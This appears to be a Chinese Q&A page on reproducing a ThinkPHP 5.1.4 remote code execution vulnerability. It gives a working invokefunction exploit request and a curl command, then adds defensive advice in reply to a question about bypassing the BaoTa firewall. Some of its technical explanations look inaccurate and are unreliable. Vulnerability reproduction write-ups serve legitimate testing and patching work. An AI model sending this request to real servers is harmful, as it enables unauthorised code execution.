Thinkphp5.1.4漏洞复现
时间: 2023-06-15 09:05:03 浏览: 235
ThinkPHP 5.1.4 存在的两个漏洞:
- 20190307 ThinkPHP 5.1.4 远程代码执行漏洞
- 20190308 ThinkPHP 5.1.4 命令执行漏洞
这两个漏洞都是由于 ThinkPHP 5.1.4 中存在的一个路由注入漏洞导致的。
这里以远程代码执行漏洞为例,漏洞利用过程如下:
1. 构造恶意请求
构造如下请求:
```
POST /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 HTTP/1.1
Host: target.com
Content-Length: 0
```
其中 `function` 参数值表示要执行的函数名,这里使用的是 `phpinfo`,`vars[1][]` 参数用于绕过参数值为负数的检测。
2. 发送恶意请求
使用 curl 或者其他工具发送恶意请求。
```
curl -X POST "http://target.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1"
```
3. 验证漏洞是否存在
如果返回了 phpinfo 的信息,则漏洞存在。
4. 修复漏洞
升级到最新版本的 ThinkPHP,或者手动修复该漏洞。
相关问题
Thinkphp5.1.4漏洞绕过宝塔防火墙
首先需要明确的是,宝塔防火墙只是一种基于规则的防御方式,而不是万能的。如果攻击者能够找到漏洞并成功利用它,那么宝塔防火墙也无法完全阻止攻击。
关于 ThinkPHP 5.1.4 漏洞,其主要是由于框架中对于控制器不存在的情况下,会默认调用空控制器中的方法,而攻击者可以通过构造特定的 URL,使得控制器不存在,从而绕过权限验证,执行任意代码。
针对这种漏洞,可以采取以下一些措施进行防御:
1. 及时升级框架版本,使用最新版的框架能够有效地避免已知漏洞。
2. 尽可能地使用框架提供的安全机制,如 CSRF 令牌、XSS 过滤等。
3. 配置好 Web 服务器的安全策略,如限制上传文件类型、禁止访问某些关键目录等。
4. 对于敏感操作,可以采取多重验证措施,如要求用户输入验证码、二次确认等。
5. 在代码中对用户输入的数据进行严格的过滤和验证,避免被攻击者构造恶意请求。
总之,对于 Web 应用的安全,需要综合考虑多个方面,不能仅仅依靠某一种安全机制。
阅读全文